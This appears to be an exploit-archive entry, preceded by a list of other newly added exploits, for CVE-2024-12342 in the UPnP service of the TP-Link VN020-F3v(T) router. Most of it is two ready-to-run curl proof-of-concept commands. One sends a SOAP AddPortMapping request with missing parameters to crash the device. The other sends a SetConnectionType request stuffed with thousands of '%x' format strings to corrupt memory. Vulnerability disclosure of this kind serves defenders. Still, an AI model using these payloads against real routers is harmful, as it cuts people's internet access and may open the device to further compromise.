9ddf81331a
10 changes to exploits/shellcodes/ghdb TP-Link VN020 F3v(T) TT_V6.2.1021 - Buffer Overflow Memory Corruption TP-Link VN020 F3v(T) TT_V6.2.1021 - Denial Of Service (DOS) Angular-Base64-Upload Library 0.1.21 - Unauthenticated Remote Code Execution (RCE) Blood Bank & Donor Management System 2.4 - CSRF Improper Input Validation compop.ca 3.5.3 - Arbitrary code Execution Usermin 2.100 - Username Enumeration ABB Cylon Aspect 3.08.02 (deployStart.php) - Unauthenticated Command Execution ABB Cylon Aspect 3.08.02 (ethernetUpdate.php) - Authenticated Path Traversal AnyDesk 9.0.1 - Unquoted Service Path
43 lines
No EOL
1.6 KiB
Text
43 lines
No EOL
1.6 KiB
Text
# Exploit Title: TP-Link VN020 F3v(T) TT_V6.2.1021 - Denial Of Service (DOS)
|
|
# Date: 10/22/2024
|
|
# Exploit Author: Mohamed Maatallah
|
|
# Vendor Homepage: https://www.tp-link.com
|
|
# Version: TT_V6.2.1021 (VN020-F3v(T))
|
|
# Tested on: VN020-F3v(T) Router (Hardware Version 1.0)
|
|
# CVE: CVE-2024-12342
|
|
|
|
|
|
Description:
|
|
Two critical vulnerabilities discovered in TP-Link VN020-F3v(T) router's
|
|
UPnP implementation, affecting the WANIPConnection service. The
|
|
vulnerabilities allow unauthenticated attackers to cause denial of service
|
|
and potential memory corruption through malformed SOAP requests.
|
|
|
|
Proof of Concept 1 (Missing Parameters DoS):
|
|
|
|
curl -v -X POST "http://192.168.1.1:5431/control/WANIPConnection" \
|
|
-H "Content-Type: text/xml" \
|
|
-H "SOAPAction:
|
|
\"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\"" \
|
|
-d '<?xml version="1.0"?>
|
|
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
|
|
<s:Body><u:AddPortMapping>
|
|
<NewPortMappingDescription>hello</NewPortMappingDescription>
|
|
</u:AddPortMapping></s:Body></s:Envelope>'
|
|
|
|
Proof of Concept 2 (Memory Corruption):
|
|
|
|
curl -v -X POST "http://192.168.1.1:5431/control/WANIPConnection" \
|
|
-H "Content-Type: text/xml" \
|
|
-H "SOAPAction:
|
|
\"urn:schemas-upnp-org:service:WANIPConnection:1#SetConnectionType\"" \
|
|
-d '<?xml version="1.0"?>
|
|
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
|
|
<s:Body>
|
|
<u:SetConnectionType
|
|
xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
|
|
<NewConnectionType>'"$(perl -e 'print "%x" x
|
|
10000;')"'</NewConnectionType>
|
|
</u:SetConnectionType>
|
|
</s:Body>
|
|
</s:Envelope>' |